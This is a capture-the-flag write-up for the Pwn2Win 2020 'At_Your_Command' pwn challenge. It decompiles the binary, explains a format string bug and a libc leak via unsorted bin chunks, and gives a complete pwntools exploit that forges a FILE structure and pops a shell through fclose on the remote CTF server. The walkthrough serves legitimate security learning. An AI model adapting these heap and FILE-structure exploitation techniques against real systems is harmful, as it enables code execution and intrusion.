Pwn2Win 2020 At_Your_Command
Challenge Details
Event | Challenge | Category | Link |
---|---|---|---|
Pwn2Win | At_Your_Command | PWN | https://ctftime.org/event/961 |
Description
Through reverse engineering work on Pixel 6, we identified the ButcherCorp server responsible for programming the RBSes. Our exploration team was only able to have limited access to this machine and extract the binaries from the programming service. As it runs with high privilege, exploiting it will allow us to extract more data from that server. Those data will bring us closer to the discovery of the person responsible for the Rebellion. Can you help us with this task?
Server: nc command.pwn2.win 1337
ID: at_your_command
Score: 267
Solves: 26
nc command.pwn2.win 1337
TL;DL
-
Leak Libc address through unsorted bin chunks by partial overwrite.
-
Construct a fake file structure in a controlled area (concatenation of 2 chunks).
-
Overwrite File pointer using format string bug.
-
Get shell through calling fclose() \o/ !
Pwn2Win was a rough CTF competition, we were able only to solve one PWN challenge which took us nearly 6 hours to be the 4th team who solved it with our teammate Aracna.
Reverse Engineering
First of all, starting with static analysis the given binary has nearly full protection as show below:
$ checksec ./command
CANARY : ENABLED
FORTIFY : disabled
NX : ENABLED
PIE : ENABLED
RELRO : FULL
As always, let’s start with just running the binary blindly and check the implemented functionalities through playing with different inputs.
$ ./command
Welcome to the command system
=============================
Your name: test_name
Welcome test_name
Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 1
Priority: aa
Command: bbb
The command has been included at index 0
Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 2
Command index: 0
Priority: 0
Command: bbb
Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 4
Index 0
Priority: 0
Command: bbb
Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 3
Command index: 0
The command has been successfully deleted
Choose an option:
1. Include command
2. Review command
3. Delete command
4. List commands
5. Send commands
> 5
Sending commands...
Are you sending the commands to which rbs?
aa
You command Mr. test_name!
the binary after reading a name it looks like it has the following commands:
Include command
: It takes 2 inputs a priority and a text command and stores them somewhere.Review command
: Display the provided details of an included command via an index.Delete command
: Delete an included command via an index.List commands
: List all the included commandsSend commands
: It asks for an input then exit after printing the provided name in the first step.
Let’s fire up IDA and start analyzing the functions.
main function
__int64 __fastcall main(__int64 a1, char **a2, char **a3)
{
time_t v3; // rax
FILE *stream; // [rsp+0h] [rbp-70h]
ssize_t v6; // [rsp+8h] [rbp-68h]
char s; // [rsp+10h] [rbp-60h]
unsigned __int64 v8; // [rsp+68h] [rbp-8h]
v8 = __readfsqword(0x28u);
init_chall();
welcome_message();
printf("Your name: ", a2);
v6 = read(0, buf, 0xCuLL);
if ( v6 && buf[v6 - 1] == 10 )
buf[v6 - 1] = 0;
printf("Welcome %s\n", buf);
memset(&s, 0, 0x50uLL);
manage_commands((__int64)&s);
puts(&byte_15FA);
puts("Sending commands...");
v3 = time(0LL);
snprintf(filename, 0x2DuLL, "/commands/%ld", v3);
stream = fopen(filename, "w");
if ( !stream )
{
printf("[ERROR] An error happened while opening the file");
exit(2);
}
send_command((__int64)&s, &stream);
fclose(stream);
return 0LL;
}
the binary is stripped so we had to rename the functions as shown in the pseudo-code above. The binary just run in the following execution flow.
init_chall()
: It just disables buffering and sets alarm after 60 seconds.welcome_message()
: it displays a hello message.- It reads a name from
stdin
then printsWelcome Your_Name
. manage_commands()
: it manages the commands as explained before (include, review, …).send_command()
: it logs all the commands provided into a file.
Let’s dive into manage_commands
function since the main functionalities are implemented in it.
__int64 __fastcall manage_commands(__int64 a1)
{
__int64 result; // rax
while ( 1 )
{
menu(); //it prints the menu described before.
result = (unsigned int)read_long_int(); // it reads 8 bytes long
switch ( result )
{
case 1LL:
include_command(a1);
break;
case 2LL:
review_command(a1);
break;
case 3LL:
delete_command(a1);
break;
case 4LL:
list_commands(a1);
break;
case 5LL:
return result;
default:
error();
return result;
}
}
}
After renaming the functions, this subroutine is handling the following functions depending on user input:
Include_command function
int __fastcall include_command(__int64 a1)
{
int i; // [rsp+14h] [rbp-1Ch]
ssize_t v3; // [rsp+18h] [rbp-18h]
for ( i = 0; ; ++i )
{
if ( i > 9 )
return puts("[INFO] The authorized limit has been reached!");
if ( !*(_QWORD *)(8LL * i + a1) )
break;
}
*(_QWORD *)(8LL * i + a1) = malloc(0x188uLL);
printf("Priority: ");
**(_QWORD **)(8LL * i + a1) = (int)read_long_int();
printf("Command: ");
v3 = read(0, (void *)(*(_QWORD *)(8LL * i + a1) + 8LL), 0x170uLL);
if ( v3 )
{
if ( *(_BYTE *)(*(_QWORD *)(8LL * i + a1) + v3 - 1 + 8) == 10 )
*(_BYTE *)(*(_QWORD *)(8LL * i + a1) + v3 - 1 + 8) = 0;
}
return printf("The command has been included at index %d\n", (unsigned int)i);
}
First, the function checks if the user has already supplied 10 commands which is the maximum number of allowed inputs at the same time. Then it allocates 0x188
chunk through malloc
function and it reads 4 bytes input followed by a command string finally stores them in the parameter array a1
which is a command
s array.
Command
is a structure designed as follow:
struct commands{
long long priority;
char command[0x170];
}
Review_command function
__int64 __fastcall review_command(__int64 a1)
{
__int64 result; // rax
int v2; // [rsp+1Ch] [rbp-4h]
printf("Command index: ");
result = read_long_int();
v2 = result;
if ( (int)result >= 0 && (int)result <= 9 )
{
result = *(_QWORD *)(8LL * (int)result + a1);
if ( result )
{
puts(&byte_15FA);
result = display_command(*(_QWORD *)(8LL * v2 + a1));
}
}
return result;
}
The function reads an index from the user then it checks if the index given points to an allocated command structure in order to prevent Use After Free. If it’s the case it displays the priority along side with the command string.
Delete_command function
int __fastcall delete_command(__int64 a1)
{
__int64 v1; // rax
int v3; // [rsp+1Ch] [rbp-4h]
printf("Command index: ");
LODWORD(v1) = read_long_int();
v3 = v1;
if ( (int)v1 >= 0 && (int)v1 <= 9 )
{
v1 = *(_QWORD *)(8LL * (int)v1 + a1);
if ( v1 )
{
free(*(void **)(8LL * v3 + a1));
*(_QWORD *)(8LL * v3 + a1) = 0LL;
LODWORD(v1) = puts("The command has been successfully deleted");
}
}
return v1;
}
The function reads an index from the user, it checks if the index given points to a valid command structure. If it’s the case it will free the correspondent chunk and null the pointer in a1
array in order to prevent the Double Free.
List_command function
__int64 __fastcall list_commands(__int64 a1)
{
__int64 result; // rax
int i; // [rsp+1Ch] [rbp-4h]
for ( i = 0; i <= 9; ++i )
{
result = *(_QWORD *)(8LL * i + a1);
if ( result )
{
puts(&byte_15FA);
printf("Index %d\n", (unsigned int)i);
result = display_command(*(_QWORD *)(8LL * i + a1));
}
}
return result;
}
the function just iterates over a1
array and displays the different allocated commands.
the 5th choice just returns to the main function.
After the function manage_commands
returns, it creates a file then it executes the send_commands
function.
unsigned __int64 __fastcall send_command(__int64 a1, FILE **a2)
{
int i; // [rsp+14h] [rbp-3Ch]
__int64 v4; // [rsp+18h] [rbp-38h]
char src; // [rsp+20h] [rbp-30h]
char s; // [rsp+30h] [rbp-20h]
unsigned __int64 v7; // [rsp+48h] [rbp-8h]
v7 = __readfsqword(0x28u);
memset(&s, 0, 0x14uLL);
memset(&src, 0, 0x10uLL);
puts("Are you sending the commands to which rbs?");
v4 = (int)read_long_int();
fprintf(*a2, "Id: %lld\n", v4);
for ( i = 0; i <= 9; ++i )
{
if ( *(_QWORD *)(8LL * i + a1) )
fprintf(*a2, "%lld:%s\n", **(_QWORD **)(8LL * i + a1), *(_QWORD *)(8LL * i + a1) + 8LL);
}
snprintf(&src, 0xCuLL, buf);
strcpy(&s, "Mr. ");
strcat(&s, &src);
printf("You command %s!\n", &s);
return __readfsqword(0x28u) ^ v7;
}
The function reads a 4 bytes long long and then just stores the different commands into the opened file. After that, it calls snprintf
without the format parameter which leads to a format string vulnerability but with a very limited number of chars 0xC. since we control the parameter buf which the name supplied in the first step.
Then it concatenates the name with the string “Mr. " and prints the final message to the stdout
.
Finally, it returns to the main function and calls fclose()
before exiting.
Exploitation
We start by implementing the wrappers needed to communicate with the binary.
from pwn import *
from pwn import log as Log
from time import sleep
def log(title,value):
Log.info(title + ": {} ".format(hex(value)))
period = 0.2
def include(priority,command):
p.sendline("1")
p.recv(8000)
p.sendline(str(priority))
p.recv(8000)
p.send(command)
sleep(period)
p.recv(8000)
def review(index):
p.sendline("2")
p.recv(8000)
p.sendline(str(index))
p.recvuntil("Command: ")
data = p.recvline().strip()
p.recv(8000)
return data
def delete(index):
p.sendline("3")
p.recv(8000)
p.sendline(str(index))
p.recv(8000)
def init(name):
p.sendline(name)
p.recv(8000)
Leaking Libc address
Since it allocates 0x188 bytes, which is lower then 0x408, which is the maximum size that a tcache bin can hold. because of that the first 7 freed chunks will go to tcache bin and the next one will go to the unsorted bin and since the unsorted bin is a doubly linked list we can leak BK pointer if we can provide and empty command string through the following steps.
-
Allocates a chunk
first state of the chunk
-
Freed chunk
The state of the freed chunk that goes to unsorted bin
-
Reallocated chunk
when we reallocate the freed chunk that is stored in the unsorted bin, if we can provide an empty input as a command string as shown in the 3rd diagram we can persist the state of BK pointer in the same place as command string and it can be displayed through
review_command
function ==> Libc Leak \o/ !p=process("./command") p.recv(8000) payload = "" payload += "RANDOM_NAME" init(payload) #allocates 9 chunks (7 tcache + 1 in order to prevent consolidating with top chunk + 1 to unsorted bin) for i in range(9): include(123,"abc") #frees 8 chunks ( 7 tcache + 1 unsorted) for i in range(8): delete(i) # allocates 7 chunks to empty tcache since it has the allocation priority for i in range(7): include(123,chr(65+i)*3) #this chunk allocated from unsorted bin include(123,"a") #Will be explained below data = review(7) leak = u64(data.ljust(8,"\x00")) leak = leak & 0xffffffffffffff00 leak = leak | 0xa0 log("leak",leak)
Since we couldn’t send an empty string to the binary as command text we decided to make one byte overwrite on the BK pointer and because the LSB of the main arena stored is always 0xa0 for the challenge’s libc provided (2.27)
$ python solver.py [+] Starting local process './command': pid 24613 [*] leak: 0x7fb4a343aca0 [*] Switching to interactive mode $
Getting Shell
In the send_command
function after opening the file for writing the different commands provided, it calls snprintf
with a format string vulnerability with the provided name as a parameter.
0x557573c5134d: mov esi,0xc
0x557573c51352: mov rdi,rax
0x557573c51355: mov eax,0x0
=> 0x557573c5135a: call 0x557573c50a70 <snprintf@plt>
0x557573c5135f: lea rax,[rbp-0x20]
0x557573c51363: mov DWORD PTR [rax],0x202e724d
0x557573c51369: mov BYTE PTR [rax+0x4],0x0
0x557573c5136d: lea rdx,[rbp-0x30]
Guessed arguments:
arg[0]: 0x7ffd4bcac690 --> 0x0
arg[1]: 0xc ('\x0c')
arg[2]: 0x557573e52060 ("YOUR_NAME")
[------------------------------------stack-------------------------------------]
0000| 0x7ffd4bcac670 --> 0x7ffd4bcac6d0 --> 0x557574364200 --> 0xfbad2c84
0008| 0x7ffd4bcac678 --> 0x7ffd4bcac6e0 --> 0x557574363260 --> 0x7b ('{')
0016| 0x7ffd4bcac680 --> 0xa73e52080
0024| 0x7ffd4bcac688 --> 0x0
0032| 0x7ffd4bcac690 --> 0x0
0040| 0x7ffd4bcac698 --> 0x0
0048| 0x7ffd4bcac6a0 --> 0x0
0056| 0x7ffd4bcac6a8 --> 0x0
As shown in the gdb context above, the top of the stack contains a pointer on the _IO_FILE_plus
structure for the opened file.
So the idea is, if we manage to overwrite that pointer in order to point to our fake file structure. This will allow us to hijack the vtable pointer. From there we can redirect the code execution when the binary calls fclose()
and since the snprintf
juste use 12 bytes only as length, this make it harder for us to full control the pointer on the stack.
To bypass this limitation, since the structure is located at the heap we need only to partially overwrite the pointer to make it point to our controlled data.
Fake File Structure
The provided libc version is higher then 2.23 which make the assertion of the vtable pointer inside _libc_IO_vtables
section.
the default File structure is as the following (stderr example) :
$2 = {
file = {
_flags = 0xfbad2087,
_IO_read_ptr = 0x7f9470711703 <_IO_2_1_stderr_+131> "",
_IO_read_end = 0x7f9470711703 <_IO_2_1_stderr_+131> "",
_IO_read_base = 0x7f9470711703 <_IO_2_1_stderr_+131> "",
_IO_write_base = 0x7f9470711703 <_IO_2_1_stderr_+131> "",
_IO_write_ptr = 0x7f9470711703 <_IO_2_1_stderr_+131> "",
_IO_write_end = 0x7f9470711703 <_IO_2_1_stderr_+131> "",
_IO_buf_base = 0x7f9470711703 <_IO_2_1_stderr_+131> "",
_IO_buf_end = 0x7f9470711704 <_IO_2_1_stderr_+132> "",
_IO_save_base = 0x0,
_IO_backup_base = 0x0,
_IO_save_end = 0x0,
_markers = 0x0,
_chain = 0x7f9470711760 <_IO_2_1_stdout_>,
_fileno = 0x2,
_flags2 = 0x0,
_old_offset = 0xffffffffffffffff,
_cur_column = 0x0,
_vtable_offset = 0x0,
_shortbuf = "",
_lock = 0x7f94707128b0 <_IO_stdfile_2_lock>,
_offset = 0xffffffffffffffff,
_codecvt = 0x0,
_wide_data = 0x7f9470710780 <_IO_wide_data_2>,
_freeres_list = 0x0,
_freeres_buf = 0x0,
__pad5 = 0x0,
_mode = 0x0,
_unused2 = '\000' <repeats 19 times>
},
vtable = 0x7f947070d2a0 <_IO_file_jumps>
}
our goal is to construct a similar structure inside the heap and overwrite the file pointer to point to our Fake file. In that way when calling fclose()
the program will call our controlled vtable
address.
We shall overwrite the vtable
in such a manner so that instead of calling the regular FILE associated function, _IO_str_overflow
would be called. Since we can already forge file pointer
, we can control the execution flow with one_gadget call.
For deep diving into File Structure Exploitation, here is a useful link that describes well the exploitation process.
If we manage to overwrite by one byte the pointer located into the stack, we fall into our controlled data but due to size limitation we can’t fully write our fake file structure which has size 192 without overflowing the next chunk (Default File chunk) which is not the case (no overflow for us). so we don’t have choices but overwriting two bytes with null byte. but this will just make the pointer points to the area before the heap which we don’t control :( !
we came up with a clever workaround by just making 10 allocations to make the heap size higher then 0x1000 and by any chance (brute force FTW) if the heap base just ends with 0x#f000 then when nulling the last two bytes of the pointer we fall into 2 controlled chunks (# : any random byte
) because of the default File pointer ends with 0x*0200. ( * = # + 1
)
So final idea is to divide the fake File structure between two controlled chunks and taking consideration of the 2nd chunk metadata.
fake1=""
fake1+=p64(0xfbad2400) #flags
fake1+=p64(0)*8
fake1+=p64(0)*2
fake2=p64(_IO_lock)*3 #to avoide siegsegv
fake2+=p64(0xffffffffffffffff)
fake2+=p64(0)
fake2+=p64(0)
fake2+=p64(0)*6
fake2+=p64(str_overflow-136) #points to str_overflow
fake2+=p64(one_gadget) #(char *) (*((_IO_strfile *) fp)->_s._allocate_buffer) (new_size);
for i in range(10):
delete(i)
for i in range(8):
include(123,"A"*5)
include(0,"A"*280+fake1) #1st part
include(0,fake2) #2nd part
The final exploit is here \o/ !
from pwn import *
from pwn import log as Log
from time import sleep
def log(title,value):
Log.info(title + ": {} ".format(hex(value)))
period = 0.2
def include(priority,command):
p.sendline("1")
p.recv(8000)
p.sendline(str(priority))
p.recv(8000)
p.send(command)
sleep(period)
p.recv(8000)
def review(index):
p.sendline("2")
p.recv(8000)
p.sendline(str(index))
p.recvuntil("Command: ")
data = p.recvline().strip()
p.recv(8000)
return data
def delete(index):
p.sendline("3")
p.recv(8000)
p.sendline(str(index))
p.recv(8000)
def init(name):
p.sendline(name)
p.recv(8000)
for _ in range(100):
#p = process("./command")
p=remote("command.pwn2.win",1337)
p.recv(8000)
payload = ""
payload += "%4$hn"
init(payload)
for i in range(9):
include(123,"abc")
for i in range(8):
delete(i)
for i in range(7):
include(123,chr(65+i)*3)
include(123,"a")
data = review(7)
leak = u64(data.ljust(8,"\x00"))
leak = leak & 0xffffffffffffff00
leak = leak | 0xa0
log("leak",leak)
base = leak - 0x3ebca0
str_overflow = base + 0x3e8378
one_gadget = base + 0x4f322
_IO_lock=base+0x3ed8b0
log("base",base)
log("str_overflow",str_overflow)
log("one_gadget",one_gadget)
include(123,"KKKKKKKKKKKKK")
fake1=""
fake1+=p64(0xfbad2400)
fake1+=p64(0)*8
fake1+=p64(0)*2
fake2=p64(_IO_lock)*3
fake2+=p64(0xffffffffffffffff)
fake2+=p64(0)
fake2+=p64(0)
fake2+=p64(0)*6
fake2+=p64(str_overflow-136)
fake2+=p64(one_gadget)
for i in range(10):
delete(i)
for i in range(8):
include(123,"A"*5)
include(0,"A"*280+fake1)
include(0,fake2)
p.sendline("5")
p.sendline("1")
try:
p.sendline("id")
p.interactive()
except:
c=0
p.close()
And here we go :D